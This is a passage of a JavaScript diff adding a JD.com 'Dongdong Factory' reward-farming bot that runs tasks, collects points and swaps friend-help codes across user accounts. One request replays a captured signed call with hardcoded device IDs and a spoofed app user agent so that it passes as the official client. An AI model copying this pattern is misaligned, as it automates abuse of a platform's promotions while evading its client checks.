100}%\n`; + if (wantProduct) { + console.log(`BoxJs或环境变量提供的心仪商品:${wantProduct}\n`); + await jdfactory_getProductList(true); + let wantProductSkuId = ''; + for (let item of $.canMakeList) { + if (item.name.indexOf(wantProduct) > - 1) { + totalScore = item['fullScore'] * 1; + couponCount = item.couponCount; + name = item.name; + } + if (item.name.indexOf(wantProduct) > - 1 && item.couponCount > 0) { + wantProductSkuId = item.skuId; + } + } + // console.log(`\n您心仪商品${name}\n当前数量为:${couponCount}\n兑换所需电量为:${totalScore}\n您当前总电量为:${remainScore * 1 + useScore * 1}\n`); + if (wantProductSkuId && ((remainScore * 1 + useScore * 1) >= (totalScore * 1 + 100000))) { + console.log(`\n提供的心仪商品${name}目前数量:${couponCount},且当前总电量为:${remainScore * 1 + useScore * 1},【满足】兑换此商品所需总电量:${totalScore + 100000}`); + console.log(`请去活动页面更换成心仪商品并手动投入电量兑换\n`); + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n您提供的心仪商品${name}目前数量:${couponCount}\n当前总电量为:${remainScore * 1 + useScore * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请点击弹窗直达活动页面\n更换成心仪商品并手动投入电量兑换`, { 'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D' }); + if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n您提供的心仪商品${name}目前数量:${couponCount}\n当前总电量为:${remainScore * 1 + useScore * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请去活动页面更换成心仪商品并手动投入电量兑换`); + } else { + console.log(`您心仪商品${name}\n当前数量为:${couponCount}\n兑换所需电量为:${totalScore}\n您当前总电量为:${remainScore * 1 + useScore * 1}\n不满足兑换心仪商品的条件\n`) + } + } else { + console.log(`BoxJs或环境变量暂未提供心仪商品\n如需兑换心仪商品,请提供心仪商品名称,否则满足条件后会为您兑换当前所选商品:${name}\n`); + if (((remainScore * 1 + useScore * 1) >= totalScore * 1 + 100000) && (couponCount * 1 > 0)) { + console.log(`\n所选商品${name}目前数量:${couponCount},且当前总电量为:${remainScore * 1 + useScore * 1},【满足】兑换此商品所需总电量:${totalScore}`); + console.log(`BoxJs或环境变量暂未提供心仪商品,下面为您目前选的${name} 发送提示通知\n`); + // await jdfactory_addEnergy(); + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n您所选商品${name}目前数量:${couponCount}\n当前总电量为:${remainScore * 1 + useScore * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请点击弹窗直达活动页面查看`, { 'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D' }); + if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n所选商品${name}目前数量:${couponCount}\n当前总电量为:${remainScore * 1 + useScore * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请速去活动页面查看`); + } else { + console.log(`\n所选商品${name}目前数量:${couponCount},且当前总电量为:${remainScore * 1 + useScore * 1},【不满足】兑换此商品所需总电量:${totalScore}`) + console.log(`故不一次性投入电力,一直放到蓄电池累计\n`); + } + } + } else { + console.log(`\n此账号${$.index}${$.nickName}暂未选择商品\n`); + message += `京东账号${$.index} ${$.nickName}\n`; + message += `已选商品:暂无\n`; + message += `心仪商品:${wantProduct ? wantProduct : '暂无'}\n`; + if (wantProduct) { + console.log(`BoxJs或环境变量提供的心仪商品:${wantProduct}\n`); + await jdfactory_getProductList(true); + let wantProductSkuId = '', name, totalScore, couponCount, remainScore; + for (let item of $.canMakeList) { + if (item.name.indexOf(wantProduct) > - 1) { + totalScore = item['fullScore'] * 1; + couponCount = item.couponCount; + name = item.name; + } + if (item.name.indexOf(wantProduct) > - 1 && item.couponCount > 0) { + wantProductSkuId = item.skuId; + } + } + if (totalScore) { + // 库存存在您设置的心仪商品 + message += `心仪商品数量:${couponCount}\n`; + message += `心仪商品所需电量:${totalScore}\n`; + message += `您当前总电量:${$.batteryValue * 1}\n`; + if (wantProductSkuId && (($.batteryValue * 1) >= (totalScore))) { + console.log(`\n提供的心仪商品${name}目前数量:${couponCount},且当前总电量为:${$.batteryValue * 1},【满足】兑换此商品所需总电量:${totalScore}`); + console.log(`请去活动页面选择心仪商品并手动投入电量兑换\n`); + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n您提供的心仪商品${name}目前数量:${couponCount}\n当前总电量为:${$.batteryValue * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请点击弹窗直达活动页面\n选择此心仪商品并手动投入电量兑换`, { 'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D' }); + if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n您提供的心仪商品${name}目前数量:${couponCount}\n当前总电量为:${$.batteryValue * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请去活动页面选择此心仪商品并手动投入电量兑换`); + } else { + console.log(`您心仪商品${name}\n当前数量为:${couponCount}\n兑换所需电量为:${totalScore}\n您当前总电量为:${$.batteryValue * 1}\n不满足兑换心仪商品的条件\n`) + } + } else { + message += `目前库存:暂无您设置的心仪商品\n`; + } + } else { + console.log(`BoxJs或环境变量暂未提供心仪商品\n如需兑换心仪商品,请提供心仪商品名称\n`); + await jdfactory_getProductList(true); + message += `当前剩余最多商品:${$.canMakeList[0] && $.canMakeList[0].name}\n`; + message += `兑换所需电量:${$.canMakeList[0] && $.canMakeList[0].fullScore}\n`; + message += `您当前总电量:${$.batteryValue * 1}\n`; + if ($.canMakeList[0] && $.canMakeList[0].couponCount > 0 && $.batteryValue * 1 >= $.canMakeList[0] && $.canMakeList[0].fullScore) { + let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000); + if (new Date(nowTimes).getHours() === 12) { + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}【满足】兑换${$.canMakeList[0] && $.canMakeList[0] && [0].name}所需总电量:${$.canMakeList[0] && $.canMakeList[0].fullScore}\n请点击弹窗直达活动页面\n选择此心仪商品并手动投入电量兑换`, { 'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D' }); + if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n${message}【满足】兑换${$.canMakeList[0] && $.canMakeList[0].name}所需总电量:${$.canMakeList[0].fullScore}\n请速去活动页面查看`); + } + } else { + console.log(`\n目前电量${$.batteryValue * 1},不满足兑换 ${$.canMakeList[0] && $.canMakeList[0].name}所需的 ${$.canMakeList[0] && $.canMakeList[0].fullScore}电量\n`) + } + } + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function helpFriends() { + $.newShareCode = [...(jdFactoryShareArr || [])] + for (let code of $.newShareCode) { + if (!code) continue + const helpRes = await jdfactory_collectScore(code); + if (helpRes.code === 0 && helpRes.data.bizCode === -7) { + console.log(`助力机会已耗尽,跳出`); + break + } else if (helpRes.code === 0 && helpRes.data.bizCode === -7001){ + console.log(`对方电力已满,无法助力,跳过`); + continue + } + } +} +async function doTask() { + if ($.taskVos && $.taskVos.length > 0) { + for (let item of $.taskVos) { + if (item.taskType === 1) { + //关注店铺任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + for (let task of item.followShopVo) { + if (task.status === 1) { + await jdfactory_collectScore(task.taskToken); + } + } + } else { + console.log(`${item.taskName}已做完`) + } + } + if (item.taskType === 2) { + //看看商品任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + for (let task of item.productInfoVos) { + if (task.status === 1) { + await jdfactory_collectScore(task.taskToken); + } + } + } else { + console.log(`${item.taskName}已做完`) + } + } + if (item.taskType === 3) { + //逛会场任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + for (let task of item.shoppingActivityVos) { + if (task.status === 1) { + await jdfactory_collectScore(task.taskToken); + } + } + } else { + console.log(`${item.taskName}已做完`) + } + } + if (item.taskType === 9) { + //逛会场任务2 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + for (let task of item.shoppingActivityVos) { + if (task.status === 1) { + await queryVkComponent(); + await jdfactory_collectScore(task.taskToken); + } + } + } else { + console.log(`${item.taskName}已做完`) + } + } + if (item.taskType === 10) { + if (item.status === 1) { + if (item.threeMealInfoVos[0].status === 1) { + //可以做此任务 + console.log(`准备做此任务:${item.taskName}`); + await jdfactory_collectScore(item.threeMealInfoVos[0].taskToken); + } else if (item.threeMealInfoVos[0].status === 0) { + console.log(`${item.taskName} 任务已错过时间`) + } + } else if (item.status === 2) { + console.log(`${item.taskName}已完成`); + } + } + if (item.taskType === 21) { + //开通会员任务 + if (item.status === 1) { + console.log(`此任务:${item.taskName},跳过`); + // for (let task of item.brandMemberVos) { + // if (task.status === 1) { + // await jdfactory_collectScore(task.taskToken); + // } + // } + } else { + console.log(`${item.taskName}已做完`) + } + } + if (item.taskType === 13) { + //每日打卡 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + await jdfactory_collectScore(item.simpleRecordInfoVo.taskToken); + if ($.stop) { + console.log(`蓄电池已满,使用后才可获得更多电量哦!`); + break + } + } else { + console.log(`${item.taskName}已完成`); + } + } + if (item.taskType === 14) { + //好友助力 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + // await jdfactory_collectScore(item.simpleRecordInfoVo.taskToken); + } else { + console.log(`${item.taskName}已完成`); + } + } + if (item.taskType === 23) { + //从数码电器首页进入 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + await queryVkComponent(); + await jdfactory_collectScore(item.simpleRecordInfoVo.taskToken); + } else { + console.log(`${item.taskName}已完成`); + } + } + } + } +} + +//领取做完任务的奖励 +function jdfactory_collectScore(taskToken) { + return new Promise(async resolve => { + await $.wait(1000); + $.post(taskPostUrl("jdfactory_collectScore", { taskToken }, "jdfactory_collectScore"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.taskVos = data.data.result.taskVos;//任务列表 + console.log(`领取做完任务的奖励:${JSON.stringify(data.data.result)}`); + } else if (data.data.bizCode === -7001) { + $.stop = true + console.log(`领取做完任务的奖励:${data.data.bizMsg}`); + } + } else { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//给商品投入电量 +function jdfactory_addEnergy() { + return new Promise(resolve => { + $.post(taskPostUrl("jdfactory_addEnergy"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + console.log(`给商品投入电量:${JSON.stringify(data.data.result)}`) + // $.taskConfigVos = data.data.result.taskConfigVos; + // $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//收集电量 +function jdfactory_collectElectricity() { + return new Promise(resolve => { + $.post(taskPostUrl("jdfactory_collectElectricity"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + console.log(`成功收集${data.data.result.electricityValue}电量,当前蓄电池总电量:${data.data.result.batteryValue}\n`); + $.batteryValue = data.data.result.batteryValue; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//获取任务列表 +function jdfactory_getTaskDetail() { + return new Promise(resolve => { + $.post(taskPostUrl("jdfactory_getTaskDetail", {}, "jdfactory_getTaskDetail"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.taskVos = data.data.result.taskVos;//任务列表 + $.taskVos.map(item => { + if (item.taskType === 14) { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${item.assistTaskDetailVo.taskToken}\n`) + myInviteCode = item.assistTaskDetailVo.taskToken; + jdFactoryShareArr.push(myInviteCode) + } + }) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//选择一件商品,只能在 $.newUser !== 1 && $.haveProduct === 2 并且 sellOut === 0的时候可用 +function jdfactory_makeProduct(skuId) { + return new Promise(resolve => { + $.post(taskPostUrl('jdfactory_makeProduct', { skuId }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + console.log(`选购商品成功:${JSON.stringify(data)}`); + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function queryVkComponent() { + return new Promise(resolve => { + const options = { + "url": `https://api.m.jd.com/client.action?functionId=queryVkComponent`, + "body": `adid=0E38E9F1-4B4C-40A4-A479-DD15E58A5623&area=19_1601_50258_51885&body={"componentId":"4f953e59a3af4b63b4d7c24f172db3c3","taskParam":"{\\"actId\\":\\"8tHNdJLcqwqhkLNA8hqwNRaNu5f\\"}","cpUid":"8tHNdJLcqwqhkLNA8hqwNRaNu5f","taskSDKVersion":"1.0.3","businessId":"babel"}&build=167436&client=apple&clientVersion=9.2.5&d_brand=apple&d_model=iPhone11,8&eid=eidIf12a8121eas2urxgGc+zS5+UYGu1Nbed7bq8YY+gPd0Q0t+iviZdQsxnK/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC+PFHdNYx1A/3Zt8xYR+d3&isBackground=N&joycious=228&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=TF&rfs=0000&scope=11&screen=828*1792&sign=792d92f78cc893f43c32a4f0b2203a41&st=1606533009673&sv=122&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJFKw5SxNDrZGH4Sllq/CDN8uyMr2EAv+1xp60Q9gVAW42IfViu/SFHwjfGAvRI6iMot04FU965+8UfAPZTG6MDwxmIWN7YaTL1ACcfUTG3gtkru+D4w9yowDUIzSuB+u+eoLwM7uynPMJMmGspVGyFIgDXC/tmNibL2k6wYgS249Pa2w5xFnYHQ==&uuid=hjudwgohxzVu96krv/T6Hg==&wifiBssid=1b5809fb84adffec2a397007cc235c03`, + "headers": { + "Cookie": cookie, + "Accept": `*/*`, + "Connection": `keep-alive`, + "Content-Type": `application/x-www-form-urlencoded`, + "Accept-Encoding": `gzip, deflate, br`, + "Host": `api.m.jd.com`, + "User-Agent": "jdapp;iPhone;9.3.4;14.3;88732f840b77821b345bf07fd71f609e6ff12f43;network/4g;ADID/1C141FDD-C62F-425B-8033-9AAB7E4AE6A3;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,8;addressid/2005183373;supportBestPay/0;appBuild/167502;jdSupportDarkMode/0;pv/414.19;apprpd/Babel_Native;ref/TTTChannelViewContoller;psq/5;ads/;psn/88732f840b77821b345bf07fd71f609e6ff12f43|1701;jdv/0|iosapp|t_335139774|appshare|CopyURL|1610885480412|1610885486;adk/;app_device/IOS;pap/JA2015_311210|9.3.4|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "Accept-Language": `zh-Hans-CN;q=1, en-CN;q=0.9`, + }, + "timeout": 10000, + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log('queryVkComponent', data) + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询当前商品列表 +function jdfactory_getProductList(flag = false) { + return new Promise(resolve => { + $.post(taskPostUrl('jdfactory_getProductList'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.canMakeList = []; + $.canMakeList = data.data.result.canMakeList;//当前可选商品列表 sellOut:1为已抢光,0为目前可选择 + if ($.canMakeList && $.canMakeList.length > 0) { + $.canMakeList.sort(sortCouponCount); + console.log(`商品名称 可选状态 剩余量`) + for (let item of $.canMakeList) { + console.log(`${item.name.slice(-4)} ${item.sellOut === 1 ? '已抢光' : '可 选'} ${item.couponCount}`); + } + if (!flag) { + for (let item of $.canMakeList) { + if (item.name.indexOf(wantProduct) > -1 && item.couponCount > 0 && item.sellOut === 0) { + await jdfactory_makeProduct(item.skuId); + break + } + } + } + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function sortCouponCount(a, b) { + return b['couponCount'] - a['couponCount'] +} +function jdfactory_getHomeData() { + return new Promise(resolve => { + $.post(taskPostUrl('jdfactory_getHomeData'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + // console.log(data); + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.haveProduct = data.data.result.haveProduct; + $.userName = data.data.result.userName; + $.newUser = data.data.result.newUser; + if (data.data.result.factoryInfo) { + $.totalScore = data.data.result.factoryInfo.totalScore;//选中的商品,一共需要的电量 + $.userScore = data.data.result.factoryInfo.userScore;//已使用电量 + $.produceScore = data.data.result.factoryInfo.produceScore;//此商品已投入电量 + $.remainScore = data.data.result.factoryInfo.remainScore;//当前蓄电池电量 + $.couponCount = data.data.result.factoryInfo.couponCount;//已选中商品当前剩余量 + $.hasProduceName = data.data.result.factoryInfo.name;//已选中商品当前剩余量 + } + if ($.newUser === 1) { + //新用户 + console.log(`此京东账号${$.index}${$.nickName}为新用户暂未开启${$.name}活动\n现在为您从库存里面现有数量中选择一商品`); + if ($.haveProduct === 2) { + await jdfactory_getProductList();//选购商品 + } + // $.msg($.name, '暂未开启活动', `京东账号${$.index}${$.nickName}暂未开启${$.name}活动\n请去京东APP->搜索'玩一玩'->东东工厂->开启\n或点击弹窗即可到达${$.name}活动`, {'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D'}); + } + if ($.newUser !== 1 && $.haveProduct === 2) { + console.log(`此京东账号${$.index}${$.nickName}暂未选购商品\n现在也能为您做任务和收集免费电力`); + // $.msg($.name, '暂未选购商品', `京东账号${$.index}${$.nickName}暂未选购商品\n请去京东APP->搜索'玩一玩'->东东工厂->选购一件商品\n或点击弹窗即可到达${$.name}活动`, {'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D'}); + // await jdfactory_getProductList();//选购商品 + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.1.0`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Cookie": cookie, + "Host": "api.m.jd.com", + "Origin": "https://h5.m.jd.com", + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html", + "User-Agent": "jdapp;iPhone;9.3.4;14.3;88732f840b77821b345bf07fd71f609e6ff12f43;network/4g;ADID/1C141FDD-C62F-425B-8033-9AAB7E4AE6A3;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,8;addressid/2005183373;supportBestPay/0;appBuild/167502;jdSupportDarkMode/0;pv/414.19;apprpd/Babel_Native;ref/TTTChannelViewContoller;psq/5;ads/;psn/88732f840b77821b345bf07fd71f609e6ff12f43|1701;jdv/0|iosapp|t_335139774|appshare|CopyURL|1610885480412|1610885486;adk/;app_device/IOS;pap/JA2015_311210|9.3.4|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + timeout: 10000, + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + }, + "timeout": 10000, + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { 